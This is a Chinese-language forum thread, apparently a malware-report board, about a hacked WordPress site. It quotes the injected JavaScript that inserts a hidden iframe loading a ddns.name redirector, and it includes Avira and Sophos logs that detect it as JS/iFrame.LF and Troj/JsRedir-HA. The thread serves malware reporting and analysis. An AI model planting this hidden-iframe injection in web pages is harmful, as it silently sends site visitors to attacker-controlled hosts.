http://empresariosoe.com/wp-includes/wlwmanifes...

显示全部楼层 · 发表于 2013-9-2 06:27:41

if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("<iframe src='http://javlprni.ddns.name/stds/go.php?sid=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://javlprni.ddns.name/stds/go.php?sid=1');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}

复制代码

<iframe src='http://javlprni.ddns.name/stds/go.php?sid=1' width='10' height='10'
style='visibility:hidden;position:absolute;left:0;top:0;'>
</iframe>

复制代码

Avira

2013/9/2 上午 06:24 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 827
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/9/2 上午 06:24 [System Scanner] 掃描
   掃描結束 [已完成全部的掃描。]。
   檔案數： 826
   目錄數： 0
   惡意程式碼數： 1
   警告數： 0

2013/9/2 上午 06:24 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\G3WIV5EU\wlwmanifes..[1].htm'
   包含病毒或有害的程式 'JS/iFrame.LF' [virus]
   已採取動作：
   檔案會移動至 '54041cdb.qua' 名稱底下的隔離區目錄。.

2013/9/2 上午 06:24 [System Scanner] 發現惡意程式碼
   檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\25HCCZL4\swfobject_modified[1].htm'
   包含病毒或有害的程式 'JS/iFrame.LF' [virus]
   已採取動作：
   檔案會移動至 '562d1c2e.qua' 名稱底下的隔離區目錄。.

2013/9/2 上午 06:23 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\25HCCZL4\swfobject_modified[1].htm 中
   偵測到病毒或有害的程式 'JS/iFrame.LF [virus]'
   執行的動作：傳輸至掃描程式

2013/9/2 上午 06:23 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\25HCCZL4\swfobject_modified[1].htm 中
   偵測到病毒或有害的程式 'JS/iFrame.LF [virus]'
   執行的動作：拒絕存取

2013/9/2 上午 06:23 [Web Protection] 發現惡意程式碼
   從 URL
   "http://empresariosoe.com/wp-content/themes/empresarios/Scripts/swfobject_modifi
   ed.js" 存取資料時，
   發現病毒或有害的程式 'JS/iFrame.LF' [virus]。
   已採取動作：已略過

2013/9/2 上午 06:23 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\G3WIV5EU\wlwmanifes..[1].htm 中
   偵測到病毒或有害的程式 'JS/iFrame.LF [virus]'
   執行的動作：傳輸至掃描程式

2013/9/2 上午 06:23 [Real-Time Protection] 發現惡意程式碼
   在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
   Files\Low\Content.IE5\G3WIV5EU\wlwmanifes..[1].htm 中
   偵測到病毒或有害的程式 'JS/iFrame.LF [virus]'
   執行的動作：拒絕存取

2013/9/2 上午 06:23 [Web Protection] 發現惡意程式碼
   從 URL "http://empresariosoe.com/wp-includes/wlwmanifes..." 存取資料時，
   發現病毒或有害的程式 'JS/iFrame.LF' [virus]。
   已採取動作：已略過

显示全部楼层 · 发表于 2013-9-2 09:38:17

****************** Sophos Anti-Virus 日志记录 - 2013/9/2 1:37:35 **************

...
20130902 013720 文件"C:\Sandbox\AA\SogouExplorer\user\current\AppData\Roaming\SogouExplorer\Webkit\SEIE\5640\868\wlwmanifes...html"属于病毒/间谍软件 'Troj/JsRedir-HA'。
20130902 013720 文件"C:\Sandbox\AA\SogouExplorer\user\current\AppData\Roaming\SogouExplorer\Webkit\Default\Cache\f_0000e0"属于病毒/间谍软件 'Troj/JsRedir-HA'。
(2 个项目)

[已鉴定] http://empresariosoe.com/wp-includes/wlwmanifes...